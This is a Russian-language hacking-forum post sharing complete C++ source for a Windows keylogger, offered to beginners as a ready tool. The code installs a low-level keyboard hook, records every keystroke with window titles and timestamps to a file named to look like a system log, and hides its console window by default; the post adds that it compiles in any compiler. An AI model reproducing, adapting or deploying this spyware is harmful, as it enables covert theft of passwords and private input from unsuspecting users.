Soft Простенький кейлогер.

  • Автор темы Автор темы Doctor zlo
  • Дата начала Дата начала
Всем привет. Вот решил поделиться кейлогерром найденным на просторах всемирной паутины. Может кому пригодится. (Да меня могут закидать тапками бывалые жители этого замчательного форума, но я это делаю для новичков, чтобы им было проще находить нужные им вещи) Код не мой.
Код:
C++:
#include <Windows.h>
#include <time.h>
#include <iostream>
#include <cstdio>
#include <fstream>

// defines whether the window is visible or not
// should be solved with makefile, not in this file
#define invisible // (visible / invisible)

// variable to store the HANDLE to the hook. Don't declare it anywhere else then globally
// or you will get problems since every function uses this variable.
HHOOK _hook;

// This struct contains the data received by the hook callback. As you see in the callback function
// it contains the thing you will need: vkCode = virtual key code.
KBDLLHOOKSTRUCT kbdStruct;

int Save(int key_stroke);
std::ofstream OUTPUT_FILE;

extern char lastwindow[256];

// This is the callback function. Consider it the event that is raised when, in this case,
// a key is pressed.
LRESULT __stdcall HookCallback(int nCode, WPARAM wParam, LPARAM lParam)
{
    if (nCode >= 0)
    {
        // the action is valid: HC_ACTION.
        if (wParam == WM_KEYDOWN)
        {
            // lParam is the pointer to the struct containing the data needed, so cast and assign it to kdbStruct.
            kbdStruct = *((KBDLLHOOKSTRUCT*)lParam);
            
            // save to file
            Save(kbdStruct.vkCode);
        }
    }

    // call the next hook in the hook chain. This is nessecary or your hook chain will break and the hook stops
    return CallNextHookEx(_hook, nCode, wParam, lParam);
}

void SetHook()
{
    // Set the hook and set it to use the callback function above
    // WH_KEYBOARD_LL means it will set a low level keyboard hook. More information about it at MSDN.
    // The last 2 parameters are NULL, 0 because the callback function is in the same thread and window as the
    // function that sets and releases the hook.
    if (!(_hook = SetWindowsHookEx(WH_KEYBOARD_LL, HookCallback, NULL, 0)))
    {
        MessageBox(NULL, "Failed to install hook!", "Error", MB_ICONERROR);
    }
}

void ReleaseHook()
{
    UnhookWindowsHookEx(_hook);
}

int Save(int key_stroke)
{
    char lastwindow[256];
    
    if ((key_stroke == 1) || (key_stroke == 2))
        return 0; // ignore mouse clicks
    
    HWND foreground = GetForegroundWindow();
    DWORD threadID;
    HKL layout;
    if (foreground) {
        //get keyboard layout of the thread
        threadID = GetWindowThreadProcessId(foreground, NULL);
        layout = GetKeyboardLayout(threadID);
    }

    if (foreground)
    {
        char window_title[256];
        GetWindowText(foreground, window_title, 256);
        
        if(strcmp(window_title, lastwindow)!=0) {
            strcpy(lastwindow, window_title);
            
            // get time
            time_t t = time(NULL);
            struct tm *tm = localtime(&t);
            char s[64];
            strftime(s, sizeof(s), "%c", tm);
            
            OUTPUT_FILE << "\n\n[Window: "<< window_title << " - at " << s << "] ";
        }
    }


    std::cout << key_stroke << '\n';

    if (key_stroke == VK_BACK)
        OUTPUT_FILE << "[BACKSPACE]";
    else if (key_stroke == VK_RETURN)
        OUTPUT_FILE <<  "\n";
    else if (key_stroke == VK_SPACE)
        OUTPUT_FILE << " ";
    else if (key_stroke == VK_TAB)
        OUTPUT_FILE << "[TAB]";
    else if (key_stroke == VK_SHIFT || key_stroke == VK_LSHIFT || key_stroke == VK_RSHIFT)
        OUTPUT_FILE << "[SHIFT]";
    else if (key_stroke == VK_CONTROL || key_stroke == VK_LCONTROL || key_stroke == VK_RCONTROL)
        OUTPUT_FILE << "[CONTROL]";
    else if (key_stroke == VK_ESCAPE)
        OUTPUT_FILE << "[ESCAPE]";
    else if (key_stroke == VK_END)
        OUTPUT_FILE << "[END]";
    else if (key_stroke == VK_HOME)
        OUTPUT_FILE << "[HOME]";
    else if (key_stroke == VK_LEFT)
        OUTPUT_FILE << "[LEFT]";
    else if (key_stroke == VK_UP)
        OUTPUT_FILE << "[UP]";
    else if (key_stroke == VK_RIGHT)
        OUTPUT_FILE << "[RIGHT]";
    else if (key_stroke == VK_DOWN)
        OUTPUT_FILE << "[DOWN]";
    else if (key_stroke == 190 || key_stroke == 110)
        OUTPUT_FILE << ".";
    else if (key_stroke == 189 || key_stroke == 109)
        OUTPUT_FILE << "-";
    else if (key_stroke == 20)
        OUTPUT_FILE << "[CAPSLOCK]";
    else {
        char key;
        // check caps lock
        bool lowercase = ((GetKeyState(VK_CAPITAL) & 0x0001) != 0);

        // check shift key
        if ((GetKeyState(VK_SHIFT) & 0x1000) != 0 || (GetKeyState(VK_LSHIFT) & 0x1000) != 0 || (GetKeyState(VK_RSHIFT) & 0x1000) != 0) {
            lowercase = !lowercase;   
        }

        //map virtual key according to keyboard layout
        key = MapVirtualKeyExA(key_stroke,MAPVK_VK_TO_CHAR, layout);
        
        //tolower converts it to lowercase properly
        if (!lowercase) key = tolower(key);
        OUTPUT_FILE <<  char(key);
    }
    //instead of opening and closing file handlers every time, keep file open and flush.
    OUTPUT_FILE.flush();
    return 0;
}

void Stealth()
{
    #ifdef visible
        ShowWindow(FindWindowA("ConsoleWindowClass", NULL), 1); // visible window
    #endif // visible

    #ifdef invisible
        ShowWindow(FindWindowA("ConsoleWindowClass", NULL), 0); // invisible window
    #endif // invisible
}

int main()
{
    //open output file in append mode
    OUTPUT_FILE.open("System32Log.txt",std::ios_base::app);   

    // visibility of window
    Stealth();

    // Set the hook
    SetHook();

    // loop to keep the console application running.
    MSG msg;
    while (GetMessage(&msg, NULL, 0, 0))
    {
    }
}
Скомпилировать можно в любом компиляторе. Например Dev-C++ (не реклама)
 
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!